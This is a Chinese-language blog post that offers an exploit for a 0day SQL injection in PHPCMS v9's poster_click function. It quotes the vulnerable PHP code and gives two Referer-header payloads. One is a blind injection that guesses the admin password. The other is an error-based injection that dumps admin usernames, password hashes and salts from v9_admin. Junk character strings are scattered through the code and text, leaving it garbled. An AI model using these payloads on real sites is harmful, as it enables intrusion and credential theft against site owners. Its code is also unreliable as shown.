phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
, B$ }& c) @- Y% s) ~9 U( c4 d) i" s
" d$ C# m% ]% e问题函数\phpcms\modules\poster\index.php

* D" v1 m2 F( m2 M" R4 r3 Z! A, epublic function poster_click() {
$ s7 K  s  V6 Q  n& R$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
9 j% l) U7 y3 }1 n) `1 G! s* bif (!is_array($r) && empty($r)) return false;
6 }/ C  M( W3 \2 m7 h' |8 z$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
+ R- t$ D" _* I. h. l( P$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
0 H0 n$ d+ J& o3 j5 J$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
2 M! s8 Q3 k$ U6 J' v  ]0 Q# i3 F$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
6 G" a( G: F( R3 J}
& \( s$ L; Z$ u4 J( U) T$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
( G- r# t; C, U7 i2 ?$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {

利用方式：

1、可以采用盲注入的手法：
  [, {$ e9 t& E9 Q) V) Q, e
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
' I- T7 c1 B3 k7 A% t( K
通过返回页面，正常与否一个个猜解密码字段。
6 k( q  D+ `" Q8 g) Q( h6 l
$ k- G8 z- U7 _8 {+ v$ l  V2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

  w8 y$ q* B. |1 A4 P此方法是爆错注入手法，原理自查。
